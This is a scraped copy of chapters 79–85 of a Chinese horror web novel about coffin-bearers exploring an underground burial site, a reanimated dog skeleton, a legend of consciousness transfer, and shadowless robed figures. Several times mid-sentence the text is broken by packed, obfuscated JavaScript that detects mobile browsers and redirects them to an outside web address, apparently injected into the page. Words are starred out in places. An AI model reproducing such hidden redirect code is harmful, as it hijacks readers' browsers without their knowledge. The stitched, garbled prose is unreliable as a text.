我能看到,那张脏兮兮的狗皮在颤动,已经烂糟糟一团的狗头好像也轻轻的扭来扭去。我急忙把大甜瓜给拉到身后,和玉芬各自手持着家伙,准备应对可能出现的危险。 那一堆皮毛骨头只是来回乱动,我暂时没有察觉到别的危险的气息,过了两三分钟,我已经看出来了,其实是狗皮下面那堆已经散乱的骨头在动。 一根一根的骨头,好像都被一根看不见的绳子给牵引着,四条弯弯曲曲的腿骨渐渐撑着整张狗皮,又支棱了起来。 这条只剩下皮毛骨头的狗,此时此刻仿佛是一台机器,迈着僵直的步伐,一步一步朝这边移动。 眼前这一幕,真的很诡异,我抬棺抬了好几年,什么怪事都见过,可从来没遇到这种情景。 我和玉芬严防死守,站在原地不敢动,那条**棱着四条腿骨,一直到了距离我们不足三米的地方,眼瞅着它还要继续靠近,玉芬就忍不住了,一个箭步上去,举着铲子就砸。 玉芬一动,我也不能闲着,跟过去也敲了一下子。这条狗看起来模样很吓人,但动作僵硬,而且反应迟钝,一前一后两下子,它都没躲过,皮**下面的骨头立刻又被砸了个七零八落。 玉芬就怕这条狗再闹出什么幺蛾子,咬牙冲上去使劲的砸,直到皮**下面的骨头都被砸断,他才气喘吁吁的停下手。 “真**见鬼!”玉芬噗的吐了口唾沫:“都烂成一堆骨头了,这玩意儿到底是怎么动起来的?” “我也说不清楚,的确,很邪门。” “我知道……我知道它为什么能动……” 这时候,躲在我们后面的大甜瓜说话了,我和玉芬听到之后,不约而同的回头看了看她。 第80章 多年前的奇迹 “甜瓜姐,你知道这是怎么回事?” “大概知道……” “什么叫大概知道?” “就是知道一些,但又记得不是太清楚了。” 已经到了这种地步,大甜瓜肯定不会信口胡诌。她以前一直跟着铁拐李,铁拐李会很多神神道道的东西,大甜瓜难免也会涉及一些。 “你记得多少,就说多少,没关系。” “你们是白八门的人,对这事情,一无所知么?” “什么意思?”我听到大甜瓜的话,楞了一下,白八门里的那些门道,我不敢说自己全都知道的一清二楚,但至少涉猎很广。 我从来都没见过白八门的人用这样的手段,听着大甜瓜的意思,这条大狗的事情,似乎还跟白八门有关系。 与此同时,我不由自主的又看了看大甜瓜,她站在那边,好像很平静,只不过只要仔细看看,就会发现大甜瓜的神情,有那么一点茫然。 “你们看……”大甜瓜走到那条已经被砸的稀烂的骨头皮**跟前,说道:“这条狗都成这样了,还能动弹,这不是什么邪术。” “甜瓜姐,要不是什么邪术,那还能啥?这堆烂骨头不可能自己动啊。” “咱们说的邪法里面,的确有驱物,但这不是驱物。” 大甜瓜说的驱物,其实就是用术法来催动物体,这种术法到现在还没有失传。不说远的,铁拐李活着的时候,就能驱使木头人,布偶之类的小玩意儿。 但驱物这样的术法,并不算高深,里面也有很多破绽,特别是刚才那条大狗动弹的时候,要把它全身的骨头同时驱使起来,这是驱物完全无法做到的。 “甜瓜姐,这不是驱物,那会是啥?” “这个说起来,就要扯很远很远了……” 我完全没想到,大甜瓜的见识会这么渊博,说实话,我心里是感觉有些奇怪的,在我印象里,大甜瓜成天就没一句正经话,这时候突然提起了这些,而且她的神情和平时有点不一样。 不过,我没有打断大甜瓜,暂时先听她讲,顺便再暗中观察她的语气表情。 大甜瓜说,这件事要追溯到宋连子那个时代。 宋连子是几百年以来白八门最声名显赫的大师,在他晚年的时候,有一次跟祖师爷嫡系的郭家后人相聚,他们一路从北方出发,辗转各地,最后到了四川。 当时,他们遇上了一个人,这个人的长相还有衣着都很怪异,宋连子是何等的眼光,略一分辨,就感觉这人非比寻常。 他们都是朝着川南地区前进的,于是就结伴而行,经过攀谈,那个长相怪异的老人自称来自南边的天竺。而且,老人在家乡那边的身份很尊崇,是一个婆罗门。 老人精通汉语,跟宋连子交谈起来没有任何障碍。宋连子是白八门的宗师巨匠般的人物,见识和阅历都没得说,但是跟这个老人交谈了之后,宋连子就感觉对方的精神境界真的深不可测。 他们结伴同行之间,每天都要畅聊很久,宋连子本身没打算走那么远,但渐渐的忘神了,一直和老人走到川南的最南边。 与此同时,宋连子发现,这个老人的精神在一天一天的衰弱,虽然谈吐举止和平时一样,但宋连子这样的大师很快就看出来,这老人快要**。 如果不是本身的精气神将要耗尽,老人也不可能出现精神上的疲态。 这个老人也没有隐瞒,他自己知道,自己的大限快要到了,原本是想趁着临死之前赶回家乡去,但是跟宋连子聊的投机,路上耽误了不少时间,这时候已经没有多余的时间走完剩下的路程。 宋连子很难过,跟这老人相处的这些日子里,他其实也受益匪浅。宋连子已经做好了决定,他跟自己的同伴说,如果这老人真的在路途中去世,他会把老人的遗体护送回家。 这个老人真的是很超脱,明知道自己活不了几天了,却丝毫没有任何的畏惧,依然保持平时那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344853|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种淡然,风趣的秉性。 又过了两天,老人有些走不动了,不管他是多么超凡的人,总跳脱不开生老病死的轮回,他的体力几乎消耗殆尽。 一天傍晚,他们在路上遇见了一个死去的乞丐,那个乞丐年龄还很小,大概就十几岁的样子,看上去应该**有两三天时间。 走到这里,老人也走不动了,他拖着虚弱到极点的身躯,亲自替这个死去的乞丐超度。 等到替这个乞丐超度完,宋连子也意识到,老人肯定熬不过今夜。他把自己的想法跟老人说了,说可以将老人的遗体送回故乡去,即便千里**,也在所不辞。 老人笑了笑,给宋连子道了谢,但是也婉拒了宋连子的好意,他告诉宋连子,自己虽然今夜会死,不过仍然可以回到家乡。 宋连子搞不懂这是什么意思,这个老人是个挂单的苦行僧,除了自己这帮人之外,老人也没有别的同伴,不可能有人把他的尸体送回去。 老人没有解释那么多,宋连子也不好多问,就在一旁守着。 到了深夜时分,老人坐的端端正正,却没了声息,宋连子知道,老人坐化了。 但是,还没等他把老人的遗体收殓起来,那个已经**两天的乞丐,突然就动了动。 宋连子是白八门的大师,对于尸变这种情况,了解的很清楚,可他看不出来,乞丐的尸体是怎么回事,短短片刻之间,死去的乞丐已经翻身爬了起来。 这个乞丐不仅能动,恢复了一段时间之后,居然还能开口说话,虽然他说话的声音变了,但是从语气和神情也能看得出来,这赫然就是那个刚刚死去的老人。 宋连子大吃一惊,他对内地的方外术法也所知甚多,他知道,内地道家还有其他一些方外门派,有夺舍的手段。然而,夺舍也是夺活人的庐舍,即便能附身到**身上,也不可能像这样行动自如,谈吐正常。 宋连子一时间就更摸不透这个老人的深浅。 第81章 细思极恐 那个乞丐起来之后,老人的遗体还端坐在原处,乞丐从附近搜集了一些木柴,燃了一堆大火,把遗体烧成了骨灰,然后收殓了起来。 一直到这时候,宋连子才明白,为什么老人说自己肯定还能回家。 宋连子亲眼目睹了这一切,感觉非常震惊,因为这些东西已经超出了他的认知。他搞不懂这个老人是怎么附身到一具尸体上,而且还能让尸体和活人那样走动,交谈。 而且让宋连子震惊的还不止这些,那个乞丐不仅可以走动交谈,更重要的是,他的谈吐依然睿智风趣,对之前和宋连子同行那段时间里所发生的点点滴滴,全都记忆犹新。 等乞丐把老人的骨灰都收起来之后,他告诉宋连子,自己这次要离开了,他们之间算是有缘,所以,乞丐在这儿继续停留两天,就会动身上路。 等动身上路之后,或许这辈子就再也没有相见的机会了。 宋连子是何等聪明的人,他已经听出来,乞丐有指点他的意思,于是立刻就问起了刚才发生的事。 那位刚刚死去的老人虽然看着只是个苦行僧,但实则是一位得道高僧。佛教起源于天竺,后来流传到各地,流入内地的是大乘佛教,流入东南亚的是小乘佛教,流入藏区的,则演变为了藏/传佛/教。 天竺虽然是佛教的起源地,但随着时间的变迁,地位逐渐被印度教所代替,当地的人/大部分都改信了印度教,只有老人那样虔诚而又坚定的信徒,依然不会改变自己的信仰。 老人所修行的是藏/传佛/教的一支,在一些人看来,藏/传佛/教和内地的大乘佛教很不相同,前者有很多秘术秘法,其中相当一部分还是让人感觉很邪门的邪法。 但实际上,上乘的藏/传佛/教绝非邪术可比,老人毕生精修的法门叫做“那若六法”。 那若六法中至高的法门,叫做“仲觉”,内地一些人简称为“觉”,觉醒的觉。仲觉这个词汇的含义如果翻译成汉语,其实就是迁识与夺舍。 “觉”分为两个层次,上觉和下觉。上觉是那若六法中登峰造极的圆满境界,从古至今,据说只有当年创立那若六法的白教宗师玛卡巴修行到了至高境界。 而其他的人,一生都在下觉的境界中徘徊。比如宋连子遇到的这位老人,看上去高深莫测,其实他也只是在下觉里比较高的层次。 上觉和下觉,与内地熟知的夺舍,看似大同小异,实则有着很大的区别。夺舍只能夺活人的庐舍,如果是尸体或者是物体,就无法操控了,只能用下三路的邪术来完成。 而那若六法中的觉,可以完美的附着在一个活人身上,同时,还可以附着在尸体上,如同赋予了尸体一次全新的生命,这是内地的术法完全无法做到的。 那个老人并未达到圆满的境界,所以,附身的乞丐不可能永远存活下去,大概过上半年到一年,乞丐就会烟消云散,不过,这段时间已经足够他回到自己的家乡。 这个所谓的上觉下觉,是宋连子以前从来都没有涉猎过的,他很感兴趣,而那个乞丐也没有藏私,用了两天的时间,把一些基本的东西都告诉了宋连子。 事实上,这东西在藏区还有老人的家乡那边,并不算是绝对的秘密,修行的法门,有很多人都能接触到。只不过修行太过艰难,人们即便知道了法门,绝大部分也是半途而废。 两天之后,乞丐和宋连子道别,然后离开了。宋连子得到了对方传授的法门,再也没有心情游山玩水,当即就和自己的同伴一起返回。 宋连子也没有藏私,这东西本就是无意中得来的,跟自己同行的人,都是白八门的,算是自己人,所以宋连子把这些也传授给了几个人。 从那时候开始,这几个人各自钻研,所谓的上觉和下觉,也就变成了他们家族和派系的不传之秘。 当时知道这件事情的人不算多,宋连子也是害怕这种法门如果传的太广,被别有心机的人学走了,会引出很多麻烦。 我琢磨着,宋连子的这件事,也不是绝密,肯定从当时就流传了下来,一直到今天,也有人知道那些往事,否则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344854|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,大甜瓜也不可能把事情讲述的这么细致。 只不过,以前跟师傅学艺的时候,他从来没跟我说过这些。 “要是这么说的话……”玉芬琢磨了一下,小眼睛骨碌碌的来回乱转:“会这一手的,多半是白八门的人?” “白八门的手艺轻易不会外传,更不要说是这种秘法,我觉得,是白八门的人。” 我们俩说话之间,就不由自主的暗中四处扫视,那条烂成骨头的狗,一定是有人用当年宋连子留下来的“上觉”秘术操控的,而且,那个人不会太远,可能就在附近。 我们俩看了一圈,也没看出什么蛛丝马迹,我暂时收敛了心神,眼下的事情太多,不可能同时解决,只能一步一步来。 究竟是什么在操控那条狗,我说不清楚,但我相信,如果对方真的在附近,那么到了该露面的时候,他就会露面。 眼下让我感觉很困惑的是,大甜瓜是怎么知道这种事的? 这件往事,别说大甜瓜这样的外人,就算我这种白八门的嫡系都不清楚。 “这件事,你是听谁说的?” “没听谁说,以前我在叔叔家住,很少外出,说实话,我连朋友都没有,谁会告诉我这些?” “那不是邪门了?没人告诉你,你能知道?” “我是突然想起来的。”大甜瓜指了指那一堆烂骨头烂皮**,她的脸庞上,还是有一种难以形容的茫然,好像连自己都糊里糊涂的:“我看到那条狗突然动了,也不知道怎么回事,脑子里……脑子里就想起了宋连子这件事……” 我猛然睁大了眼睛,玉芬之前在师傅他们停留过的小洞里,就出现过类似的情况,我当时也无法判断怎么回事,只能先放下不提。 不过,不管怎么说,玉芬是白八门的人,他要真想起一些和白八门有关的事,我就算解释不清,至少也能理解。 可大甜瓜呢?她一个外人,竟然能回想起这些,这说明什么? 这一瞬间,我的脊背上就冒出了一片寒意。 第82章 毫无进展 我之前一直认为,大甜瓜在这个事件中是无辜的,甚至连铁拐李也很无辜,就因为我主动找到了他们,从而才引发后面一系列的变故。 我曾经想过,如果当初我不找铁拐李帮忙,是不是后面的悲剧就不会发生。 这个念头,我一直保留到了刚才,也就是大甜瓜对我们讲述出宋连子当年的那段往事时,我才陡然意识到,大甜瓜被卷到这件事里,或许并非是纯粹的偶然。 假如大甜瓜真的是一个毫无关联的外人,她不可能被人突然就悄悄送到这个地方,更不可能到了这里之后,隐约回想起了一些她本不该知道的事。 其实,我心里始终都在不断的否定自己的这个想法,因为我的想法如果是真的,那么情况的复杂性,就进一步加深,已经彻底超出了我所能推测的范围。 但我想来想去,觉得事情当真就是这么巧合吗?当时是我和玉芬主动找到铁拐李的,如果铁拐李和大甜瓜被牵连进来并非偶然的话,那么在背后设局的人,该有多厉害?难道算准了我一定会去找铁拐李? 一想到这里,我心里又犯起了嘀咕,忍不住偷偷看了玉芬一眼。我记得很清楚,当初去找铁拐李,就是玉芬推荐的,没有他的推荐,我其实也想不起铁拐李这个人。 现在的玉芬和大甜瓜,在我的印象里,已经和过去不太一样了,这让我感觉非常别扭。 我暂时想不出其中的原因,也不能平白无故的就瞎怀疑,只能把心里的念头都压了下来。 “甜瓜姐,你再想想,还能想起什么不?” 玉芬在那边耐心的询问大甜瓜,大甜瓜现在的状态,比玉芬在那个小山洞里更加的茫然,如果我没猜错,短时间内,她可能回想不到什么了。 那条狗的骨头被打碎,再也没有出现任何动静。石壁上方的裂痕还有三条,既然来了,肯定得看一看。大甜瓜的突然出现,打乱了我们的计划,她是个女人,娇弱无力,绳梯上没有任何保护措施,我不能让她冒险。 但是把她一个人留在原地,我心里又很不踏实,只能让玉芬在这儿守着她,我自己爬上去观察一下。 上面垂下来的绳梯还是很结实,我顺着绳梯慢慢朝上爬,大概七八米之后,就到了第二条裂痕的边缘。 这条裂痕大概也是三米左右高,几十米长,因为高度的问题,里面的棺木比第一层少了些,估计有四十具左右的样子。 第二条裂痕肯定也被师傅他们翻找过,一片凌乱,零散的骨头丢的到处都是,大眼一看,我就能分辨出来,十几年前,师傅他们还是从这里带走了一部分尸体的脑袋。 有了在第一条缝隙里的经验,我跟着就发现,师傅他们带走的头骨,都是完好的,遗留下来的那些,多多少少都有些损伤。 我用了半个多小时的时间,把这里检查了一遍,的确没什么值得注意的。 检查完了之后,我叫了玉芬一声,他马上就传来了回应。大甜瓜和他都在原地,没有发生任何异常。 我开始顺着绳梯继续朝上面爬,越是朝高处爬,难度越大,把棺木运送上来很费劲,所以第三条裂痕里面的棺材明显又少了很多,只有十几口。 毫无例外,这些棺材也被翻找过了,能带走的已经全部带走,留下一堆没有任何用处的烂木板和碎骨头。 到了这个时候,我就感觉脑袋一圈一圈的在发胀,心里失落,恼火,又很无奈。我一直认为,师傅和**叔当年死盯着这片风水地,是为了寻找化解脖子红印的办法,可现在压根就没有头绪,越找脑子越糊涂。 石壁上的裂痕,就只剩下最后一条了,我休息了一会儿,又跟玉芬对着喊了两声,得知下头平安无事,我才抓着绳梯朝上爬。 最后这一条裂痕,距离地面已经有差不多三十米高了,裂痕的空间和下面的三条一样,但显得很空旷,里头一共放了三口棺材。 这三口棺材里的尸体,明显和别的尸体不太一样。之前所看到的棺木里的尸体有一部分经过了防腐处理,只不过过去的技术有限,防腐也不可能确保尸体完好无损。 而这三口棺材里的尸体,不仅涂满了蜡,而且棺材里面有差不多一尺深的油。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352142|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这种油我以前没有见过,涂了蜡的尸体被浸泡在里面,简直像是进入了类似真空的状态,保存的相对来说比较完整。 但是,三具尸体的脑袋已经被取走了,棺材里只留下身躯,因为防腐环境被破坏,尸体也出现了腐烂。 我不由自主的叹息了一声,按照我的判断,这个地方已经是整个地洞的核心区域,也是师傅他们当年的最终目标,如果在这儿发现不了什么线索,那就意味着,再没有别的机会了。 与此同时,我心里还有一种深深的忧虑,脖子上的红印如果不化解,就会和师傅还有**叔一样,十几年都活的胆战心惊,就算想尽办法拖延,最后的结局也会很惨。 我不敢想象,要是自己也是每天寝食难安,害怕自己随时掉脑袋的话,用不了多久,自己就会把自己给逼疯。 我心有不甘的又巡视了一圈,这才慢慢顺着绳梯朝下爬,等回到玉芬和大甜瓜停留的地方,我的情绪有些低落,下意识的就觉得浑身乏力。 我坐在第一条裂痕的边缘,喝了点水,玉芬和大甜瓜一看我这个样子,就知道毫无收获,一起过来给我宽心。 我绝对不会因此而气馁,只不过就是提不起精神,好容易得到了这块风水地的线索,进来之后却发现仍旧毫无头绪,我很茫然,不知道下一步该怎么走。 “五满,时间有的是,你担心啥啊。” “小哥,他说的对,你还年轻,日子长着呢。”大甜瓜贴着我坐到身边,脑袋都快搭在我肩膀上了:“你放心,不管咋样,我都陪着你……” “甜瓜姐,这都什么时候了,你还有心在这儿腻歪,你……” 玉芬正皱着眉头数落大甜瓜,陡然间就闭上了嘴巴。 他的手电是平放在地上的,光线从裂痕照向了外面,为的就是随时可以观察周围的风吹草动。 我估摸着,玉芬是无意中看到了什么,才会话说一半儿突然闭嘴。 “那边……那边……”玉芬果然有些紧张,缩了缩脖子,朝前面指着,说道:“那边是什么?” 第83章 几个人 我急忙把大甜瓜推开,顺着玉芬手指的方向望去。 手电的光芒照的远了,就变成一大团昏黄的暗光,这面石壁就在那座铁索桥后头,如果仔细的看,就会看到在铁索桥的对岸,似乎出现了几条模糊的影子。 因为距离的远,而且光照也不明亮,我只能看出不清晰的轮廓,也分不清那究竟是什么。 一看到那边影影绰绰的影子,我就有点紧张,在这个地方不能没有光源,我们的手电一直都是亮着的,如果真有外人,一定可以看到。 但我屏气凝神的观察了一会儿,铁索桥对面的那一团团的影子,似乎并没有过桥,而是顺着裂谷的一侧,朝西边而去。 那些影子,的确是在移动,速度不快。 “五满,咋办?要不要过去看看?” “过去看看。” 我本来就因为没有任何头绪而烦恼,眼下也不管是什么情况,反正只要不正常,就不能放过。 我们三个人很快就顺着绳梯爬了下来,然后慢慢的走过那道铁索桥。等到了对岸,距离拉近了一些,前面那几团影子还没有彻底走远。 这时候,我心里就开始怀疑了,那几团影子在移动,很有可能是活的东西,但我们手里的手电光好像没有引起对方的注意,影子还是朝着西边在缓慢的移动。 那到底是什么玩意儿? 我让玉芬和大甜瓜留在后头,自己硬着头皮加快了脚步,想先看清楚再说。 峡谷边缘的路大致还算是平缓,我跟过去了大概有五六十米左右,视线就清晰了一些,当手电的光线再一次照到前方时,我看见前面的几团影子,似乎是几个人。 那几个人一直朝前走,没有人停步,也没有人回头,这本身就不太正常。对方全都背对着我,看不清楚他们的相貌,几个人就是埋头前行,那种姿态,有一股难以形容的诡异。 在这种地方遇见人,不管对方是谁,总会让我心中不安,我迈步继续跟随下去,玉芬和大甜瓜相隔着十来米远,也尾随在后。 我想着,反正对方多半已经发现了我们,现在躲躲藏藏的也没什么意思,倒不如赶上去,看看他们究竟是谁,来这里有什么目的。 一想到这儿,我不由自主的就加快了脚步。我本来以为那几个人走的慢,只要自己一加速,很快就能追上。可让我预料不到的是,不管我怎么跑,跟前面的人始终维持着一段固定的距离。 这就很邪门了,那几个人明显看着走的不快,却无论如何都追不上。 我不肯就这样放弃,还是在试图追赶,跑着跑着,我的眼神一瞥,脚步也跟着放慢了。 我不知道是不是巧合,我这边一慢下来,前面那几个人似乎更慢了些。 这时候,我的心就在砰砰乱跳,因为我发现前面那几个人,就如同没有影子一样,能看到他们的身躯,却看不到光线折射在地上的影子。 而且,盯着看的时间久了,虽然还没有看的清清楚楚,但至少比之前清亮了些。我看到那几个人都穿着一模一样的大褂。 大褂是黑色的,款式早就过时了,至少是几十年前的老样式,现在根本就没人穿。 当我看到他们身上的大褂的时候,眉心陡然一跳,一下子想起了一件事。 当初,**叔半夜跑到我家里,央求我和玉芬去给他抬棺出殡,那一次,**叔好像不是一个人去的,他身后隐约跟着两个人。 那两个人都穿着黑色的大褂,模样有点怪,而且,我当时就发现,这两个人好像没有影子。只不过,还没等我细看,那两个人立刻就退到了黑暗中,难以察觉。 **叔的事情,已经过去有段时间了,但那两个“没有影子”的人,却给我留下了很深刻的印象,对方身上的大褂,其实就是个很显眼的标记,我觉得自己不会看错,前面那几个人,和当时跟**叔一起去找我的两个人,很可能有什么关系。 如此一来,我就更不可能放过眼前的线索,一抬脚,又追了过去。 这次的情况和之前一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352143|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的速度慢,前面那几个人也慢,我的速度快,却始终追不上他们,彼此之间总是保持着一定距离。跟了这么久,我也没察觉到什么危险的气息,我怕玉芬和大甜瓜跟不上,就回头招手让他们也加快速度。 在这种地方,我已经完全没了时间的概念,追到后来,两条腿都跑麻了,玉芬还算好,体力跟的上,可大甜瓜差点把肺给跑炸,要是再这样跑下去,她自己就得先躺下。 我寻思着,反正前面那几个人时快时慢,我们慢下来,也不至于跟丢,所以率先放慢了脚步,玉芬扶着大甜瓜,在后面大喘气。 果然,我们这边一慢下来,前面那几个人的距离却没有因此而拉远,就在视线几乎接近极限的地方慢悠悠的徘徊。 “五满,那几个人,是有点邪门啊,咱们干脆停下来不走了,看看会咋样。” 我点了点头,停下来可以休息,还可以趁机继续试探一下对方。 我们三个人原地坐了下来,事情果然邪门,我们已经彻底的不动了,那几个人似乎还在慢慢的朝前走,但身形始终都在目力可及的范围内。 几个人就仿佛传说中的鬼,飘飘忽忽,挥之不去。 “看,是邪门吧?”玉芬的小眼睛又骨碌碌转了几圈,说道:“五满,这是不是个圈套?” “什么圈套。” “咱们三个大活人,拿着手电在后面跟,那几个人要是不瞎,肯定看得到,他们却像是装没看见,咱们走,他们也走,咱们停,他们也停,这意思,是不想让咱们追上去,但又不想让咱们追丢。” “是这个意思。” “那……这几个人是不是故意引着我们,到什么地方去?” 玉芬说的话,并不是没有道理,我也想到过,如果对方真是故意勾着我们,那也没办法。 在我看来,这个地方除了那几条放着棺材的裂痕之外,应该没什么别的目标了,如今出现了这种预料不到的情况,我就想看看,那几个人究竟要把我们引到哪儿去。 第84章 危险地域 我做好了打算,心里反而平静了一些,有些事情明知道必须面对,倒不如坦然点。 我们三个人休息了二十多分钟,我一直在朝前方注视,二十多分钟时间,远处那几个穿大褂的人,始终都在一个很小的范围内来回的移动。 大甜瓜那股劲儿差不多缓过来了,我们重新动身,继续朝前面走。不出预料,我们这边一动,那几个穿大褂的人,也跟着向前而去。 这道裂谷很长,走到尽头得需要一天时间,所以我也不急躁了,保持着匀速,如果觉得身体吃不消,就停下来休息。就这样走走停停,到最后连我自己都忘记究竟过了多久,三个都已经疲惫不堪时,裂谷似乎要到尽头了。 裂谷到了尽头以后,大概有两条路,一条路是绕回到了裂谷对岸,另一条路,则继续向北边延伸。那几个人选择了向着北边的那条路,我也不假思索的跟了上去。 裂谷尽头和北边那条小路相连接的地方,是一道几米宽的沟,沟里有流动的水,不过水非常清澈,也很浅。 大概一尺多高的水中,依次放着一块一块的石头,踩着石头就可以跨过这条小沟。我和玉芬刚刚进入地下的时候,就差点在那条地下河吃亏,因此一看到有水,我的腿肚子就开始转筋。 好在水特别浅,也藏不住什么东西,我试探着踩了踩水上的石头,很牢靠。 我开始跨过这条小沟,大甜瓜消停了一会儿,又开始矫情,哼哼唧唧的站在沟边说自己害怕,不敢过去,我在前面拉着她,大甜瓜就开心了,脚步比我都稳当。 我和大甜瓜很顺利的过了这条沟,等到了对岸,回头一看,玉芬踩着一块石头,站在那里不动了,我喊了一声,玉芬没回应,在这种地方,任何事情都要小心,我立刻调头走回去,来到玉芬面前。 “五满……我……我没事……” 玉芬的眼睛直勾勾的盯着前方,过了这条沟,就是延伸向北边的小路,光线无法照的太远,远处的情景黑咕隆咚一片,除了能依稀看到那几个人的影子,别的就什么也看不清楚了。 但玉芬似乎看的很出神,我拍了拍他,问道:“你看见什么东西了?” “我……我看见了一片血……” “血?什么血?” “人血……流的到处都是……”玉芬说到这里的时候,眼神有那么一点空洞,与此同时,他的神情就流露出一种说不出来的恐惧。 他踩着一块石头,连两条腿好像都在发抖,站也站不稳,我急忙拉住他的胳膊,说道:“眼跟前什么没有,你不用怕。” “到处都是血,都是血……” 我意识到,玉芬此刻的状态,和在之前那个小山洞的状态很相似,他肯定又是在无意中触发了什么契机,想到了一些事情。 此时,我愈发的坚信自己先前的判断,我觉得不管是玉芬,还是大甜瓜,他们不管是用什么方式来到这里的,都有到这儿的原因和理由。 “你看到了血,然后呢?” “不能再朝前走了!”玉芬的眼睛突然就睁得很大,嘴巴也差点咧到耳朵根,他伸着颤抖的手指向前方:“再……再朝前走,会**的!” “前面有什么东西?怎么会**?” “前面……前面有个房子,那房子里,住着**的鬼,不能再朝前走了……” 玉芬的性格,还是和以前一样,大大咧咧,什么事都不往心里去,天大的困难,转脸就忘了。 能把他吓成这样的事情,真的不多。看着他此刻的表情,我丝毫没有怀疑,那条小路的前方,应该真的有什么危险。 但这同时也等于给我指明了一条路,在这片广袤的地下空间里,应该不止那面石壁裂痕里的棺材,一定还有别的值得关注的地方。 玉芬的话,只能给我一个模糊的轮廓,我想象不出小路的前方到底有什么东西,或许会有危险,但越是有危险的地方,就越是有价值。 玉芬踩着石头哆嗦了半天,最后自己晃了晃脑袋,渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这一次,那几个人又走了大概有三四百米的样子,视线的极尽处,出现了一团黑乎乎的影子。 我努力分辨了一下,心就陡然一跳,因为我看出来,那团黑乎乎的影子,是一间房子。 第85章 血溅凶屋 这条小路的情况,果然和玉芬说的一样,有一间房子。 只可惜,玉芬回想不起更多的细节,我也看不清楚那边的情景。 那几个人站在房子跟前,滞留了一会儿,随即,他们一个挨着一个,走进了房子。 我不敢贸然行事,紧走了几步,拉近距离,然后全力观察。那间房子,是用石头盖的,有一道门,几个穿着大褂的人走进去之后,就再也没有出来。 尽管周围没有什么动静了,我还是非常小心,看了那间房子之后,又在附近扫视了一遍,把大概的情况先摸索一下。 看了一会儿,我心里猛然一动,赶紧又取出一把备用手电,两把手电全都打亮,光线也强了一些。 只要是正经白八门的传人,对风水多少都有些了解,如果把那间房子所处的位置和周围的地势联系在一起,就能发现,房子所在的地方,其实就是这一整片风水地的“穴眼”。 穴眼也叫风眼,是风水地最为关键的地方,就和人的眼睛和灵魂一样重要。风眼只要是活的,那么这块风水地就永远是块宝地。 但那间石头盖出来的房子,正巧压住了风眼,风眼被堵,时间要是久了,活眼会变成死眼,到了那时候,风水地就渐渐枯竭。 有些风眼被堵死,不仅这片风水地没了灵气和运势,相反,还会变成一片凶地。 我在白八门这几年,不管是自己亲眼所见,还是道听途说,能知道的都是风水先生会想方设法的维护一片风水地的风眼,让它保持一定的价值。 我还从来没听说过,有人会故意把一片宝地的风眼给堵死。 我在原地至少呆了有二十分钟,那间屋子里里外外都是一片死寂,几个穿着大褂的人,全都没有再出现。这样等下去肯定不是办法,我还是咬紧牙关,一步一步的靠近。 当我走到离那间房子还有几米远的时候,仍然是一片死寂,玉芬和大甜瓜站在身后十多米的地方,都很担心。 我把身上的钢钎给抽了出来,这东西能砸能捅,用来防身是再合适不过了,比刀子还好用。等握紧钢钎之后,我轻轻的迈动脚步,一直走到了房子的门外。 这间孤零零的房子是很奇怪,在我看来,房子就是给人住的,当年这间房子没有窗户,只有一道所谓的门,这道门和普通的门也不一样,开在一面墙壁的正中间,四四方方的,估计有个两米左右宽。 门上有一块木板,透过木板的缝隙,我朝里面看了看,这一眼看去,我就更觉得惊讶。 那几个穿大褂的人刚才肯定是进了这房子,之后他们一直没有出来,必然还在房子里,可等我朝里面看的时候,发现整个房子里面一片空荡,不仅没有人,就连杂物都看不到一件。 